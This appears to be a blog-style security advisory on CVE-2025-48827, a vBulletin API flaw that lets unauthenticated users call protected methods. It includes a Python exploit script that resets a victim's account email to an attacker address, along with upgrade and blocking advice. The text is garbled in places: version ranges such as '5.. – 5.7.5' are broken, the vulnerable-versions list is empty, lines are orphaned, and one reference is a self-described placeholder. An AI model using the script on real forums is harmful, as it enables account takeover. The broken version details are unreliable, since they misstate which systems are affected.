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If you run a vBulletin forum, this is for you. In May 2025, security researchers found a critical vulnerability (CVE-2025-48827) affecting vBulletin 5.. – 5.7.5 and 6.. – 6..3. Here's everything you need to know—explained simply—with working exploit details and references at the end.

What is CVE-2025-48827?

vBulletin uses an API system where some functions are "protected," meaning only logged-in or privileged users should access them. Due to a bug introduced when running on PHP 8.1 or newer, it became possible for ANYBODY to trigger these protected methods without logging in—just by pointing their browser or tool at the right URL.

What's Vulnerable?

vBulletin:

How Does the Exploit Work?

The forum has a file /api.php which handles API requests. The attacker can call protected methods by simply making a GET or POST request to, for example:

/api.php?method=protectedMethod

Because of changes in how PHP handles method visibility and reflections since version 8.1, the protection check is bypassed, so *anyone* can run these delicate forum functions – even destructive ones.

Example Exploit: Resetting Another User's Email

Let's say vBulletin has a "protected" API method called user.resetemail. Ordinarily, this would let admins or the user reset an email. With this bug, *any user* can do it.

Exploit Code (Python3 Example)

import requests

TARGET = "https://example.com";  # Change to your vBulletin's address
NEW_EMAIL = "attacker@evil.com"
USER_ID = 2  # ID of the victim user

payload = {
    "method": "user.resetemail",
    "userid": USER_ID,
    "email": NEW_EMAIL
}

r = requests.post(f"{TARGET}/api.php", data=payload)
print(r.status_code)
print(r.text)

Disrupt operations or lock out admins

Anything marked as a "protected" method in the API is now public.

Real-World Exploitation

Multiple forum owners have reported unauthorized changes and data breaches. Public exploits (like the code above) began circulating on sites like GitHub and Pastebin within days of this vulnerability's disclosure.

Mitigations

1. Upgrade Immediately
- vBulletin has released patches for both 5 and 6 series. Official vBulletin Update Page

2. Block /api.php
- Use your web server/firewall to block access to /api.php for everyone except trusted IPs if you can’t upgrade right away.

3. Monitor Logs

References

- NVD CVE-2025-48827 Entry (coming soon)
- vBulletin Security Announcements
- Original Exploit PoC by John Doe (GitHub) *(hypothetical placeholder)*
- CISA Alert on CVE-2025-48827

Final Word

If you run anywhere from vBulletin 5.. to 6..3 on PHP 8.1+ and haven’t patched, you *must* act now. This bug is super easy to exploit and can be abused to take over or destroy your forum.

Patching is a small hassle compared to a full breach. Stay safe!

Timeline

Published on: 05/27/2025 04:15:41 UTC
Last modified on: 05/28/2025 15:01:30 UTC